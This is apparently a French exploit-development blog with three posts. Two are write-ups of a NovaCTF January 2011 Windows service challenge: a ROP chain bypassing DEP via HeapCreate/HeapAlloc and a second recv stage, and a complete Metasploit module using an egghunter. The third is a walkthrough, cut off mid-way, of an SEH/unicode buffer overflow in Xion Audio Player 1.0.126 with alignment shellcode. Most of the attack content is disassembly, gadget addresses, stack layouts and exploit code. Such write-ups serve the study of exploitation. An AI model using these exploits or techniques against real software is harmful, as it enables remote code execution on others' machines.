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mercredi 9 février 2011

[Exploitation] NovaCTF January 2011: ROPPING

Bonjour,

Aujourd'hui on va attaquer le challenge du NovaCTF de Janvier de manière différente.
La dernière fois nous avons fais usage d'un stack pivot, egg hunter et payload ... mais le problème est que tout celà s'exécute sur la pile. En cas de DEP ça ne marcherait pas.
Nous allons donc remédier à celà, par contre on perd le bypass ASLR :( (si quelqu'un a une idée pour ASLR+DEP bypass sur ce challenge, je serais intéressé :)).

Pré-requis

Avant de commencer, je vais pour une fois donner les pré-requis nécessaire à la bonne compréhension de l'article suivant.
Tout d'abord vous devez être à l'aise en exploitation de stack based buffer overflow.
Ensuite un minimum de connaissances en ASMx86, Windows et sockets est recommendée. En effet, une compréhension de la partie vulnérable est essentielle car on fait usage de ces connaissances pour rediriger le flux d'exécution à notre bon vouloir.
On va utiliser Immunity Debugger avec le plugin pvefindaddr, le tout sous Windows XP SP3 English.

ROP : Return Oriented Programming?

Le ropping est une technique de re-utilisation de code au même titre que ret2lib, ret2esp. Elle est utilisé afin de bypasser le DEP sans code ou pour rendre l'exécution de code possible. Celà consiste à chaîner plusieurs séquences d'instructions terminant par RET. On appelle ces séquences des gadgets, un gadget effectue une action bien précise comme une addition ou autre.

L'avantage d'une telle technique c'est qu'elle fait usage de zone exécutable et donc bypasse le DEP sans problème. L'inconvénient majeur est qu'on doit hard coder pas mal d'addresses, on doit connaître ces addresses d'avance et donc en cas d'ASLR ça devient déjà plus difficile. L'une des méthodes utilisées est de travailler avec des offsets, en effet, avec l'ASLR, l'address space layout change mais pas les offsets entre chaque éléments.

Préparation

On a besoin de créer une liste de gadgets afin de pouvoir choisir dans cette liste et créer notre ROP.

Immunity Debugger est le debugger utilisé ici pour effectuer celà.
En effet, il intègre la DEPlib et le plugin de corelanc0d3r répond entièrement à nos besoins également.


Let's ROP it!

Bon je vais passer la phase de triggering vu qu'on l'a déjà vu dans mon article précédent, on va se concentrer sur l'exploitation à proprement parler.

L'exploitation va se dérouler en plusieurs phase:
- stage 1: mise en place d'un environnement propice à l'exécution de code
- stage 2: exécution de code
C'est une attaque multi-stage plutôt que one-stage.

Afin d'y arriver, il faut d'abord "pivoter" le stack pointer afin qu'il pointe sur une zone qu'on contrôle.

First stage ROP stack

Revoyons le code de la fonction vulnérable si vous voulez bien :).
.text:00401000 vuln_function   proc near               ; CODE XREF: main+2CC p
.text:00401000
.text:00401000 local_buf       = byte ptr -100h
.text:00401000 recv_buf        = dword ptr  8
.text:00401000
.text:00401000                 push    ebp
.text:00401001                 mov     ebp, esp
.text:00401003                 sub     esp, 100h
.text:00401009                 mov     eax, [ebp+recv_buf]
.text:0040100C                 push    eax             ; char *
.text:0040100D                 lea     ecx, [ebp+local_buf]
.text:00401013                 push    ecx             ; char *
.text:00401014                 call    _strcpy
.text:00401019                 add     esp, 8
.text:0040101C                 mov     esp, ebp
.text:0040101E                 pop     ebp
.text:0040101F                 retn
.text:0040101F vuln_function   endp
Avant l'appel du strcpy():
EAX pointe vers l'addresse du buffer que recv() utilise afin de recevoir ce qu'on envoie.
ECX contient l'addresse du buffer local à overflow.
Après l'appel du strcpy():
EAX pointe vers notre buffer local.
ECX pointe vers recv_buf+260 (260 = longueur de la chaîne qu'on envoie).

Donc pour pivoter la stack, il suffit de trouver un pointeur vers une instruction de type:
xchg eax, esp
mov eax, ecx
xchg eax, ecx
mov eax, esp
push eax; pop esp
push ecx; pop eax

Ca nous permettra de pivoter la stack et directement tomber après le contenu de local_buf dans recv_buf.

Pour trouver des pointeurs vers des gadgets avec pvefindaddr, il suffit d'utiliser la commande suivante:
!pvefindaddr rop options
Le manuel:
imm.log("* rop [-m ] [-f ] [-n] [-o] [-i] [-r max_ret_value] [-s] [-d] [-c ]")
 imm.log("                               (List possible ROP gadgets from non-ASLR protected modules. You can optionally filter)")
 imm.log("                                Option -n : don't show pointers that contain null bytes")
 imm.log("                                Option -o : don't show pointers from modules in the Windows folder")
 imm.log("                                Option -i : don't show pointers from modules that have the Fixup flag set")
 imm.log("                                Parameter -r allows you to specify the maximum RET offset to look for. Default value : 32")
 imm.log("                                Warning : if you don't specify a module and/or a lower RET offset, the process can take a very long time to complete")
 imm.log("                                The -s option will split the rop output into a dedicated file per module. The filenames will include")
 imm.log("                                modulename, version, OS type and OS version")
 imm.log("                                Option -d will search deeper (longer) and might find possibly interesting gadgets")
 imm.log("                                Option -c + instruction (no quotes, spaces are allowed) will allow you to look for gadgets ending with this instruction")
 imm.log("                                as opposed to looking for gadgets ending with RET")

On va commencer par pivoter ESP vers le début de notre buffer local, j'ai trouver ce pointeur:
# 0x77C3A891 : EAX : # XCHG EAX,ESP # RETN - msvcrt.dll - **
A partir de là, on veut "remonter" vers notre recv_buffer, la raison en est simple: recv() copie TOUT et ne s'arrête donc pas aux 0 comme strcpy() donc aucunes grandes contraintes. Je fais celà avec le pointeur suivant:
# 0x7C902B30 : # MOV EAX,ECX # BSWAP EAX # RETN - ntdll.dll - **
BSWAP change l'ordre de nos bits entre little endian et big endian, il faut donc l'appeller encore pour fixer EAX.
# 0x7C902B32 : # BSWAP EAX # RETN - ntdll.dll - **
Et la on peut enfin pivoter le stack pointer :).
# 0x77C3A891 : EAX : # XCHG EAX,ESP # RETN - msvcrt.dll - **

Donc notre pile pour l'instant ressemble à ça:
---------------------------------
recv_buf        |   0x7C902B30  |   mov eax, ecx
---------------------------------
recv_buf+4      |   0x7C902B32  |   fix eax (big endian -> little endian)
---------------------------------
recv_buf+8      |   0x77C3A891  |   mov esp, eax    // on est dans recv_buffer
---------------------------------
recv_buf+12     |   JUNK        |
                |     ...       |
                |   JUNK        |
---------------------------------
recv_buf+260    |   0x77C3A891  |   mov esp, eax    // on est dans local_buffer
---------------------------------
recv_buf+264    |   0x00000000  | // pour finir la copie de strcpy()
---------------------------------

Maintenant on doit allouer de la mémoire exécutable.
De ce que j'ai pu remarquer de mes différents tests et en regardant la memory map avec Alt+M:

On remarque que la heap n'est pas exécutable (36xxx dans ce cas dans mes tests).

Il faut donc créer une nouvelle heap avec HeapCreate() et allouer de la mémoire à partir de celle-ci. On retrouve un appel à celui-ci d'ailleurs:
.text:00403D89 sub_403D89      proc near               ; CODE XREF: start:loc_4016DD p
.text:00403D89                 push    0               ; dwMaximumSize
.text:00403D8B                 push    1000h           ; dwInitialSize
.text:00403D90                 push    0               ; flOptions
.text:00403D92                 call    ds:HeapCreate
.text:00403D98                 xor     ecx, ecx
.text:00403D9A                 test    eax, eax
.text:00403D9C                 setnz   cl
.text:00403D9F                 mov     hHeap, eax
.text:00403DA4                 mov     eax, ecx
.text:00403DA6                 retn
.text:00403DA6 sub_403D89      endp
La heap créée est référencé dans une variable globale comme on peut le voir. On contrôle la pile entièrement et aucunes contraintes niveau caractères utilisés donc voilà ce que ça donne:
---------------------------------
recv_buf+268    |   0x00403D92  |   call ds:HeapCreate
---------------------------------
recv_buf+272    |   0x00004000  |   flOptions = HEAP_CREATE_ENABLE_EXECUTE
---------------------------------
recv_buf+276    |   0x00001000  |   dwInitialSize = 0x1000
---------------------------------
recv_buf+280    |   0x00001000  |   # dwMaximumSize = 0 = depend on available memory
---------------------------------

Maintenant l'allocation de notre mémoire:
.text:00405DED                 push    esi             ; dwBytes
.text:00405DEE                 push    8               ; dwFlags
.text:00405DF0                 push    hHeap           ; hHeap
.text:00405DF6                 call    ds:HeapAlloc
.text:00405DFC                 test    eax, eax
.text:00405DFE                 jnz     short loc_405E32

.text:00405E32 loc_405E32:                             ; CODE XREF: sub_405DB3+4B j
.text:00405E32                                         ; sub_405DB3+70 j ...
.text:00405E32                 pop     esi
.text:00405E33                 pop     ebp
.text:00405E34                 retn
.text:00405E34 sub_405DB3      endp
On voit qu'il faut qu'on définisse notre ESI first ensuite qu'on retourne sur 0x00405DED. Vous pourrez remarquer que hHeap est utilisé directement après, ça nous facilite beaucoup les choses. Il faut absolument que la mémoire soit allouée, l'exécution de code sera compromise mais généralement on a notre mémoire qui est allouée ;).
Pour ESI, j'ai trouvé le pointeur suivant:
# 0x7C87283A : # POP ESI # RETN [Module : kernel32.dll] **
Et n'oublions pas de prévoir du junk pour nos pop esi; pop ebp
Notre ROP stack donne ainsi celà:
---------------------------------
recv_buf+284    |   0x7C87283A  |   pop esi
---------------------------------
recv_buf+288    |   0x00004000  |   esi value to pop
---------------------------------
recv_buf+292    |   0x00405DED  |   call ds:HeapAlloc
---------------------------------
recv_buf+296    |       JUNK    |   junk pour pop esi
---------------------------------
recv_buf+300    |       JUNK    |   junk pour pop ebp
---------------------------------

On a presque fini le first stage :).

Dans ce challenge, le serveur reçoit de la data par le biais de la routine suivante:
.text:004012A6                 push    0               ; flags
.text:004012A8                 push    800h            ; len
.text:004012AD                 lea     ecx, [ebp+buf]
.text:004012B3                 push    ecx             ; buf
.text:004012B4                 mov     edx, [ebp+client_sockfd]
.text:004012B7                 push    edx             ; s
.text:004012B8                 call    ds:recv
Le but serait donc de faire pointer EBP vers notre heap nouvellement allouée afin qu'il réceptionne notre payload.
Il faut prendre en compte l'offset de buf (-0x9A0) afin d'éviter de corrompre la heap et rendre notre exploit moins fiable par la suite. Pour celà, il faut additionner +0x9A0 au moins à EAX (qui contient notre mémoire allouée):
# 0x77EBB583 : {POP} # ADD EAX,6FF # POP ESI # POP EBP # RETN 4 [Module : RPCRT4.dll] **
Ce qui donne donc:
---------------------------------
recv_buf+304    |   0x77ebb583  |   add eax, 0x6ff
---------------------------------
recv_buf+308    |       JUNK    |   junk pour pop esi
---------------------------------
recv_buf+312    |       JUNK    |   junk pour pop ebp
---------------------------------
recv_buf+316    |   0x77ebb583  |   add eax, 0x6ff
---------------------------------
recv_buf+320    |       JUNK    |   junk pour ret 4
---------------------------------
recv_buf+324    |       JUNK    |   junk pour pop esi
---------------------------------
recv_buf+328    |       JUNK    |   junk pour pop ebp
---------------------------------

On set EBP à EAX:
# 0x77EF022c : # PUSH EAX # POP EBP # RETN 4 [Module : RPCRT4.dll] **
Et aussi on doit retourner sur recv() mais le problème est que sockfd se trouve trop loin sur la pile pour pouvoir le récupérer. On met donc en place une nouvelle socket entièrement en retournant tout au début de la routine pour la socket. Nous n'avons pas besoin d'appeler WSAStartup() vu qu'aucuns appel à WSACleanup() n'a été fait. On va donc retourner juste après en 0x004010AF où on a les instructions suivantes:
- mise en place de sin_addr_in
- getaddrinfo()
- socket()
- bind()
- listen()
- accept()
- recv()
- vuln_function()
- send()
- exit()
Je vous passe les détails, je suppose que vous connaissez les sockets un minimum ;).
En effet, c'est possible car après le accept(), la socket bindée au port 1337 est fermé et est donc re-disponible.
.text:00401257                 push    0               ; addrlen
.text:00401259                 push    0               ; addr
.text:0040125B                 mov     ecx, [ebp+server_sockfd]
.text:0040125E                 push    ecx             ; s
.text:0040125F                 call    ds:accept
.text:00401265                 mov     [ebp+client_sockfd], eax
.text:00401268                 cmp     [ebp+client_sockfd], 0FFFFFFFFh
.text:0040126C                 jnz     short loc_40129C

.text:0040129C loc_40129C:                             ; CODE XREF: main+24C j
.text:0040129C                 mov     eax, [ebp+server_sockfd]
.text:0040129F                 push    eax             ; s
.text:004012A0                 call    ds:closesocket
Au final, nous avons celà:

---------------------------------
recv_buf+332    |   0x77ef022c  |   mov ebp, eax
---------------------------------
recv_buf+336    |       JUNK    |   junk pour pop ebp
---------------------------------
recv_buf+340    |   0x004010AF  |   recv()
---------------------------------
recv_buf+344    |       JUNK    |   junk pour pop ebp
---------------------------------

Et voilà pour le premier stage, soit 348 octets de rop stack.

Passons maintenant au second stage où on va recevoir et exécuter notre payload.

Second stage ROP stack

Là ça va être beaucoup plus rapide:
- On va pivoter la stack pour retomber à recv_buf+260
- On exécute notre code

On obtient la rop stack suivante:
---------------------------------
recv_buf        |   0x7C902B30  |   mov eax, ecx
---------------------------------
recv_buf+4      |   0x7C902B32  |   fix eax (big endian -> little endian)
---------------------------------
recv_buf+8      |   0x77C3A613  |   jmp eax (on exécute notre code)
---------------------------------
recv_buf+12     |   JUNK        |
                |     ...       |
                |   JUNK        |
---------------------------------
recv_buf+260    |   0x77C3A891  |   mov esp, eax    // on est dans local_buffer
---------------------------------
recv_buf+264    |   0x00000000  | // pour finir la copie de strcpy()
---------------------------------
                |               |
recv_buf+268    |    PAYLOAD    |
                |               |
---------------------------------

Et voilà on finit par exécuter notre code dans un environnement DEP.
Par contre, vu le nombre de pointeurs hard codés utilisés, on perd l'ASLR bypass, si vous trouvez un moyen d'avoir DEP+ASLR bypass ça m'intéresse :). Ou si vous vous êtes pris d'une autre manière pour le DEP bypass, ça m'intéresse également ;).

J'espère que ça vous a plu.

Have phun,

m_101

- Link: Archive avec le binaire exploité (rev3)
- Exploit: Module metasploit

jeudi 3 février 2011

[Exploitation] NovaCTF January 2011

Bonjour,

Ca fait un moment que le NovaCTF est terminé et que les solutions devraient pleuvoirs.
Vu que ce n'est pas le cas, je vais en écrire un write up plus ou moins détaillé.

Tout d'abord, la chose qui a pu être constaté lors de ce challenge est un manque de vérification des binaires fournis aux participants de ce challenge. Il y a eus 3 binaires différents durant celui-ci.

Les binaires avaient les caractéristiques suivantes:
- binaire 1 : GS activé + Visual Studio Debug
- binaire 2 : GS activé
- binaire 3 : GS désactivé + quelques modifications mineures du code
Comme vous pouvez le remarquer, le flag GS était activé de base, ce qui rendait l'exploitation impossible sans "tricher" un peu.

J'écrirais donc l'exploitation du binaire 3 et je fournirais le paper que j'ai écris pour le binaire 1 (modder).

Analyse

Tout d'abord, on nous dit qu'on doit exploiter un service Windows, il y a donc des chances que ça soit un escalation privilege en local ou un remote.

On part donc à la recherche des classiques fonctions strcpy() et recv().
Pas de chances pour la première fonction, et joie, on localise rapidement la deuxième avec un cross referencing.

Celà nous permet de trouver la fonction principale, la fonction vulnérable et de trouver strcpy() de la même manière.
En effet, celle-ci est incluse statiquement et n'est pas reconnue par le FLIRT engine d'IDA Pro.

La fonction main:
.text:00401020 main            proc near               ; CODE XREF: start-5B p
.text:00401020
.text:00401020 pAddrInfo       = dword ptr -11CCh
.text:00401020 pHints          = ADDRINFOA ptr -11C8h
.text:00401020 var_11A8        = byte ptr -11A8h
.text:00401020 var_11A7        = byte ptr -11A7h
.text:00401020 var_9A8         = dword ptr -9A8h
.text:00401020 len             = dword ptr -9A4h
.text:00401020 buf             = byte ptr -9A0h
.text:00401020 var_19C         = dword ptr -19Ch
.text:00401020 WSAData         = WSAData ptr -198h
.text:00401020 s               = dword ptr -8
.text:00401020 var_4           = dword ptr -4
.text:00401020
.text:00401020                 push    ebp
.text:00401021                 mov     ebp, esp
.text:00401023                 mov     eax, 11CCh
.text:00401028                 call    sub_407BA0
.text:0040102D                 mov     [ebp+s], 0FFFFFFFFh
.text:00401034                 mov     [ebp+var_4], 0FFFFFFFFh
.text:0040103B                 mov     [ebp+pAddrInfo], 0
.text:00401045                 mov     [ebp+var_19C], 800h
.text:0040104F                 mov     al, ds:byte_40A9E0
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.text:0040109D                 call    print_msg
.text:004010A2                 add     esp, 8
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.text:004010AF
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.text:00401138 ; ---------------------------------------------------------------------------
.text:00401138
.text:00401138 loc_401138:                             ; CODE XREF: main+F2 j
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.text:0040113E                 mov     eax, [edx+0Ch]
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.text:00401155                 push    ecx             ; af
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.text:0040116B                 push    eax
.text:0040116C                 push    offset aSocketFailedWi ; "socket failed with error: %ld\n"
.text:00401171                 call    print_msg
.text:00401176                 add     esp, 8
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.text:00401191                 jmp     loc_401409
.text:00401196 ; ---------------------------------------------------------------------------
.text:00401196
.text:00401196 loc_401196:                             ; CODE XREF: main+143 j
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.text:004011CA                 push    offset aBindFailedWith ; "bind failed with error: %d\n"
.text:004011CF                 call    print_msg
.text:004011D4                 add     esp, 8
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.text:004011DD                 push    edx             ; pAddrInfo
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.text:004011E7                 push    eax             ; s
.text:004011E8                 call    ds:closesocket
.text:004011EE                 call    ds:WSACleanup
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.text:004011F9                 jmp     loc_401409
.text:004011FE ; ---------------------------------------------------------------------------
.text:004011FE
.text:004011FE loc_4011FE:                             ; CODE XREF: main+1A1 j
.text:004011FE                 mov     ecx, [ebp+pAddrInfo]
.text:00401204                 push    ecx             ; pAddrInfo
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.text:00401213                 push    edx             ; s
.text:00401214                 call    ds:listen
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.text:00401227                 jnz     short loc_401257
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.text:0040122F                 push    eax
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.text:00401235                 call    print_msg
.text:0040123A                 add     esp, 8
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.text:00401241                 call    ds:closesocket
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.text:00401257 ; ---------------------------------------------------------------------------
.text:00401257
.text:00401257 loc_401257:                             ; CODE XREF: main+207 j
.text:00401257                 push    0               ; addrlen
.text:00401259                 push    0               ; addr
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.text:00401274                 push    eax
.text:00401275                 push    offset aAcceptFailedWi ; "accept failed with error: %d\n"
.text:0040127A                 call    print_msg
.text:0040127F                 add     esp, 8
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.text:00401285                 push    edx             ; s
.text:00401286                 call    ds:closesocket
.text:0040128C                 call    ds:WSACleanup
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.text:0040129C ; ---------------------------------------------------------------------------
.text:0040129C
.text:0040129C loc_40129C:                             ; CODE XREF: main+24C j
.text:0040129C                 mov     eax, [ebp+s]
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.text:004012A6
.text:004012A6 loc_4012A6:                             ; CODE XREF: main+38B j
.text:004012A6                 push    0               ; flags
.text:004012A8                 push    800h            ; len
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.text:004012B8                 call    ds:recv
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.text:004012DD                 call    print_msg
.text:004012E2                 add     esp, 8
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.text:00401304                 mov     ecx, [ebp+var_4]
.text:00401307                 push    ecx             ; s
.text:00401308                 call    ds:send
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.text:00401314                 cmp     [ebp+var_9A8], 0FFFFFFFFh
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.text:00401324                 push    offset aSendFailedWith ; "send failed with error: %d\n"
.text:00401329                 call    print_msg
.text:0040132E                 add     esp, 8
.text:00401331                 mov     edx, [ebp+var_4]
.text:00401334                 push    edx             ; s
.text:00401335                 call    ds:closesocket
.text:0040133B                 call    ds:WSACleanup
.text:00401341                 mov     eax, 1
.text:00401346                 jmp     loc_401409
.text:0040134B ; ---------------------------------------------------------------------------
.text:0040134B
.text:0040134B loc_40134B:                             ; CODE XREF: main+2FB j
.text:0040134B                 mov     eax, [ebp+var_9A8]
.text:00401351                 push    eax
.text:00401352                 push    offset aBytesSentD ; "Bytes sent: %d\n"
.text:00401357                 call    print_msg
.text:0040135C                 add     esp, 8
.text:0040135F                 jmp     short loc_4013A4
.text:00401361 ; ---------------------------------------------------------------------------
.text:00401361
.text:00401361 loc_401361:                             ; CODE XREF: main+2AB j
.text:00401361                 cmp     [ebp+len], 0
.text:00401368                 jnz     short loc_401379
.text:0040136A                 push    offset aConnectionClos ; "Connection closing...\n"
.text:0040136F                 call    print_msg
.text:00401374                 add     esp, 4
.text:00401377                 jmp     short loc_4013A4
.text:00401379 ; ---------------------------------------------------------------------------
.text:00401379
.text:00401379 loc_401379:                             ; CODE XREF: main+348 j
.text:00401379                 call    ds:WSAGetLastError
.text:0040137F                 push    eax
.text:00401380                 push    offset aRecvFailedWith ; "recv failed with error: %d\n"
.text:00401385                 call    print_msg
.text:0040138A                 add     esp, 8
.text:0040138D                 mov     ecx, [ebp+var_4]
.text:00401390                 push    ecx             ; s
.text:00401391                 call    ds:closesocket
.text:00401397                 call    ds:WSACleanup
.text:0040139D                 mov     eax, 1
.text:004013A2                 jmp     short loc_401409
.text:004013A4 ; ---------------------------------------------------------------------------
.text:004013A4
.text:004013A4 loc_4013A4:                             ; CODE XREF: main+33F j
.text:004013A4                                         ; main+357 j
.text:004013A4                 cmp     [ebp+len], 0
.text:004013AB                 jg      loc_4012A6
.text:004013B1                 push    1               ; how
.text:004013B3                 mov     edx, [ebp+var_4]
.text:004013B6                 push    edx             ; s
.text:004013B7                 call    ds:shutdown
.text:004013BD                 mov     [ebp+len], eax
.text:004013C3                 cmp     [ebp+len], 0FFFFFFFFh
.text:004013CA                 jnz     short loc_4013F7
.text:004013CC                 call    ds:WSAGetLastError
.text:004013D2                 push    eax
.text:004013D3                 push    offset aShutdownFailed ; "shutdown failed with error: %d\n"
.text:004013D8                 call    print_msg
.text:004013DD                 add     esp, 8
.text:004013E0                 mov     eax, [ebp+var_4]
.text:004013E3                 push    eax             ; s
.text:004013E4                 call    ds:closesocket
.text:004013EA                 call    ds:WSACleanup
.text:004013F0                 mov     eax, 1
.text:004013F5                 jmp     short loc_401409
.text:004013F7 ; ---------------------------------------------------------------------------
.text:004013F7
.text:004013F7 loc_4013F7:                             ; CODE XREF: main+3AA j
.text:004013F7                 mov     ecx, [ebp+var_4]
.text:004013FA                 push    ecx             ; s
.text:004013FB                 call    ds:closesocket
.text:00401401                 call    ds:WSACleanup
.text:00401407                 xor     eax, eax
.text:00401409
.text:00401409 loc_401409:                             ; CODE XREF: main+8A j
.text:00401409                                         ; main+113 j ...
.text:00401409                 mov     esp, ebp
.text:0040140B                 pop     ebp
.text:0040140C                 retn
.text:0040140C main            endp

En gros, le programme lance une socket en écoute, fait un recv(), appelle la fonction vulnérable, send() et bye.

Voilà la fonction vulnérable:
.text:00401000 vuln_function   proc near               ; CODE XREF: main+2CC p
.text:00401000
.text:00401000 local_buf       = byte ptr -100h
.text:00401000 recv_buf        = dword ptr  8
.text:00401000
.text:00401000                 push    ebp
.text:00401001                 mov     ebp, esp
.text:00401003                 sub     esp, 100h
.text:00401009                 mov     eax, [ebp+recv_buf]
.text:0040100C                 push    eax             ; char *
.text:0040100D                 lea     ecx, [ebp+local_buf]
.text:00401013                 push    ecx             ; char *
.text:00401014                 call    _strcpy
.text:00401019                 add     esp, 8
.text:0040101C                 mov     esp, ebp
.text:0040101E                 pop     ebp
.text:0040101F                 retn
.text:0040101F vuln_function   endp

Elle prend en paramètre l'addresse du buffer que recv() utilise et copie celui-ci dans un buffer local de 256 octets.
256 octets n'est pas suffisant pour avoir une payload Windows vraiment très utile et strcpy() s'arrête au 0.
Qu'à celà ne tienne, nous avons assez de place pour y placer un egghunter pour rechercher la payload qui se trouvera dans le buffer dans lequel recv() écrit.
Grâce à recv() nous pouvons placer autant de 0 qu'on veut après les 260 bytes nécessaires pour re-écrire le seip (saved eip).
Une chose intéressante à savoir est que strcpy() renvoie le buffer résultant et donc son addresse se trouve dans EAX. Nous n'avons plus qu'à retourner sur un "call eax" et nous aurons fini le challenge.
Le SEIP se trouvent après 260 octets car la pile de vuln_function s'articule ainsi:
[recv_buf][seip][sebp][local_buf]

Let's exploit it then folks!

First on recherche une addresse vers "call eax" :
$ objdump -d server.exe | grep -i call | grep -i eax
  4022d5: ff d0                 call   *%eax
  402301: ff d0                 call   *%eax
  402322: ff d0                 call   *%eax
  402ca0: ff d0                 call   *%eax
  402d89: ff d0                 call   *%eax
  402e92: ff d0                 call   *%eax
  402eb3: ff d0                 call   *%eax
  4038e3: ff d0                 call   *%eax
  403909: ff d0                 call   *%eax
  403972: ff d0                 call   *%eax
  403a63: ff d0                 call   *%eax
  403a92: ff d0                 call   *%eax
  403d2f: ff d0                 call   *%eax
  403d5e: ff d0                 call   *%eax
  405528: ff d0                 call   *%eax
  4057a0: ff d0                 call   *%eax
  405a07: ff d0                 call   *%eax
  405a24: ff d0                 call   *%eax
  405a41: ff d0                 call   *%eax
  4074c4: ff d0                 call   *%eax
Soit une vingtaine d'addresse :).

Ca nous donne un tableau de rets (randomisons le plus possible ;)):
# ret return to : call eax
rets = [ 0x004022d5, 0x00402301, 0x00402322, 0x00402ca0, 0x00402d89, 0x00402e92, 0x00402eb3, 0x004038e3, 0x00403909, 0x00403972, 0x00403a63, 0x00403a92, 0x00403d2f, 0x00403d5e, 0x00405528, 0x004057a0, 0x00405a07, 0x00405a24, 0x00405a41, 0x004074c4 ]

Ensuite nous voulons un egghunter, pour celà on fait usage du egghunter mixin:
# use egghunter technique
hunter, egg_payload = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })

Il reste plus qu'à construire notre payload et à l'envoyer:
# egghunter
egg = hunter
# it nevers get here (egghunter), so rand_text is safe :)
egg << rand_text_alphanumeric(ret_offset - hunter.length)
# usual way to do :
# egg << [target.ret].pack('V')
# better way :) (randomly choose ret address in array)
egg << [rets[rand(rets.length)]].pack('V')
# payload won't get copied in current buffer due to strcpy()
# but it is present somewhere else in memory due to recv() :)
egg << egg_payload

sock.put(egg)

Celà nous donne donc l'exploit suivant:
##
# $Id: novactf_january2011.rb 11541 2011-01-11 06:05:00Z m_101 $
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'NovaCTF January 2011 (Windows)',
   'Description'    => %q{
    Exploit NovaCTF January 2011
   },
   'Author'         => [ 'm_101' ],
   'Version'        => '$Revision: 11541 $',
   'References'     =>
    [
     ['URL', 'http://binholic.blogspot.com']
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process'
    },
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 744,
   # NOTE: \x0a et \x0d are avoided because it's usually ending network packets in some protocols
     'BadChars' => "\x0a\x0d\x00",
     'DisableNops' => true
    },
   'Platform'       => [ 'windows', ],
   'Targets'        =>
   [
    [ 'Windows XP (Generic)',
     {
      'Ret' => ''  # empty (we randomize it in the exploit()
     }
    ]
   ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jan 11 2011'))

  register_options(
   [
    Opt::RPORT(1337),
   ], self.class )
 end

 def exploit
 connect

 # ret return to : call eax
    rets = [ 0x004022d5, 0x00402301, 0x00402322, 0x00402ca0, 0x00402d89, 0x00402e92, 0x00402eb3, 0x004038e3, 0x00403909, 0x00403972, 0x00403a63, 0x00403a92, 0x00403d2f, 0x00403d5e, 0x00405528, 0x004057a0, 0x00405a07, 0x00405a24, 0x00405a41, 0x004074c4 ]

 ret_offset = 260

 # use egghunter technique
 hunter, egg_payload = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })

 # egghunter
 egg = hunter
 # it nevers get here (egghunter), so rand_text is safe :)
 egg << rand_text_alphanumeric(ret_offset - hunter.length)
 # usual way to do :
 # egg << [target.ret].pack('V')
 # better way :) (randomly choose ret address in array)
 egg << [rets[rand(rets.length)]].pack('V')
 # payload won't get copied in current buffer due to strcpy()
 # but it is present somewhere else in memory due to recv() :)
 egg << egg_payload

 sock.put(egg)
 handler
 disconnect
 end
end

Vous pourrez remarquer que ça fonctionne parfaitement sous Windows 7 si le DEP est désactivé.

Have fun,

m_101

- NovaCTF website: here
- NovaCTF solution by m_101: here

mardi 30 novembre 2010

[Exploit] Xion Audio Player 1.0.126 Buffer Overflow Vulnerability

[UPDATE : 30/11/2010] : corelanc0d3r backlinking + explication rapide sur egghunting + msf exploit module link

Bonsoir,

On voit souvent des vulnérabilitées étant classifiées comme des DOS, c'est assez courant mine de rien.
Aujourd'hui, je me balade sur Exploit-DB et je tombe sur ce DOS là : ici .

Let's hack it! ^^

Trigger it

Assez courant ces fichiers avec pleins de 'A' ;).

La première chose à faire est de savoir si on a un EIP ou un SEH overwrite :).

On génère notre fichier .m3u avec metasploit :
m_101@m_101-laptop:~/repos/msf$ tools/pattern_create.rb 10240 < ~/shared/msfpattern.m3u

On ouvre dans la "playlist" dans le lecteur.

Crash!


Oo de l'unicode dans notre SEH!! :)

On cherche l'offset avec pvefindaddr :
!pvefindaddr suggest


Et hop, on écrase le seh au bout de 263 octets (j'avais trouvé 252 au départ bizarrement ... testez ça marche encore avec mon sploit python ;)).
[EDIT] : L'offset change selon la longueur du path où se trouve le fichier mais ne dépend aucunement de la longueur du nom de fichier. Ici on trouve 263 car le fichier evil.m3u se trouve à la racine d'un disque.

Passons maintenant à la phase cassage du soft :).

Hack it!

On cherche une address de type ppr mais manque de pot, y'en a aucune qui est compatible unicode :(.

pvefindaddr est mine de rien un outils puissant ... il nous sauve la mise en nous trouvant un pointeur vers une instruction équivalente :
!pvefindaddr a
ce qui nous donne plusieurs pointeurs dont 0x00510043.

On a donc :
# 51            push ecx
# 00 43 00      add byte [ebx], al  ; nop
seh = '\x51\x43'    # add esp, 8 | ret

Il nous faut donc que EBX pointe vers une addresse écrivable.
En regardant notre pile, on voit que l'adresse empilée correspond à une addresse de stack => addresse écrivable.

 
Ce qui nous donne donc :

# 5b            pop ebx
# 00 43 00      add byte [ebx], al  ; nop
nseh = '\x5b\x43'

Dans notre screen précédent, on remarque aussi qu'il faut 2 pop avant d'atteindre un pointeur vers notre buffer unicode :). On va baser notre payload unicode sur ESP. Ca nous donne donc ça :
# 5a            pop edx
# 00 43 00      add byte [ebx], al
align = "\x5a\x43" * 2
# 5c            pop esp
# 00 43 00      add byte [ebx], al
align += "\x5c\x43"

Il ne reste donc plus qu'à aligner notre pile correctement. Pour celà, l'instruction popad est très pratique, elle dépile 8*4 = 32 octets pour un octet de code (4 si on compte le nop).
# 61            popad
# 00 41 00      add byte [ecx], al
align += "\x61\x41"
Vu qu'on pointe sur le début de notre buffer unicode, il faut donc qu'on y mettre 32 octets au mieux :).

Par contre, on a un problème à résoudre avant car les nops qu'on utilise ont la forme :
add [reg1], reg2
Il faut donc que reg1 pointe vers une addresse valide ... hors on détruit nos registres avec popad. Pour trouver notre addresse, on va utiliser la vue "Memory" (Alt+M) de Immunity DBG.


On trouve 3 plage intéressantes : numériques ;).

Ca nous donne donc ça :
# 37            aaa                     ; clear al bit 4 to 7
# 00 38         add byte [eax], bh      ; eax = 0x00390001 (rw)
# 00 41 00      add byte [ecx], al      ; ecx = 0x00380037 (rw)
# 39 00         cmp dword [eax], eax
align += "\x37\x38"   ; ecx
align += "\x41\x39"   ; eax

On a finit de construire notre code d'alignement :
# alignment code
# 5a            pop edx
# 00 43 00      add byte [ebx], al
align = "\x5a\x43" * 2
# 5c            pop esp
# 00 43 00      add byte [ebx], al
align += "\x5c\x43"
# 61            popad
# 00 41 00      add byte [ecx], al
align += "\x61\x41"
# junk code just for alignment
